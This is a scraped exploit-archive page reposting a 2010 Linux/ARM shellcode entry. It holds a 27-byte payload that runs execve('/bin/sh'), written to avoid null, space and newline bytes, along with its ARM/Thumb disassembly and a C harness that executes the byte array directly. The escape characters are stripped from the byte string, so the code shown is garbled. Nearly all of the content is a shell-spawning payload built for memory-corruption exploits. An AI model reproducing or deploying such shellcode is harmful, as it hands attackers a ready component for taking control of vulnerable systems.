Home / os / win7

linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27

Posted on 06 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/ARM - execve(&quot;/bin/sh&quot;, [0], [0 vars]) - 27 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
linux/ARM - execve(&quot;/bin/sh&quot;, [0], [0 vars]) - 27 bytes
=======================================================

/*
Title:     Linux/ARM - execve(&quot;/bin/sh&quot;, [0], [0 vars]) - 27 bytes
Date:      2010-08-31
Tested on: ARM926EJ-S rev 5 (v5l)
Author:    Jonathan Salwan - twitter: @shell_storm
 
shell-storm.org
 
Shellcode ARM with not a 0x20, 0x0a and 0x00
 
 
Disassembly of section .text:
 
00008054 &lt;_start&gt;:
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   4678        mov r0, pc
    805e:   3008        adds    r0, #8
    8060:   1a49        subs    r1, r1, r1
    8062:   1a92        subs    r2, r2, r2
    8064:   270b        movs    r7, #11
    8066:   df01        svc 1
    8068:   622f        str r7, [r5, #32]
    806a:   6e69        ldr r1, [r5, #100]
    806c:   732f        strb    r7, [r5, #12]
    806e:   0068        lsls    r0, r5, #1
 
*/
 
#include &lt;stdio.h&gt;
 
 
 
char SC[] = &quot;x01x30x8fxe2&quot;
            &quot;x13xffx2fxe1&quot;
            &quot;x78x46x08x30&quot;
            &quot;x49x1ax92x1a&quot;
            &quot;x0bx27x01xdf&quot;
            &quot;x2fx62x69x6e&quot;
            &quot;x2fx73x68&quot;;
 
 
int main(void)
{
        fprintf(stdout,&quot;Length: %d
&quot;,strlen(SC));
        (*(void(*)()) SC)();
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :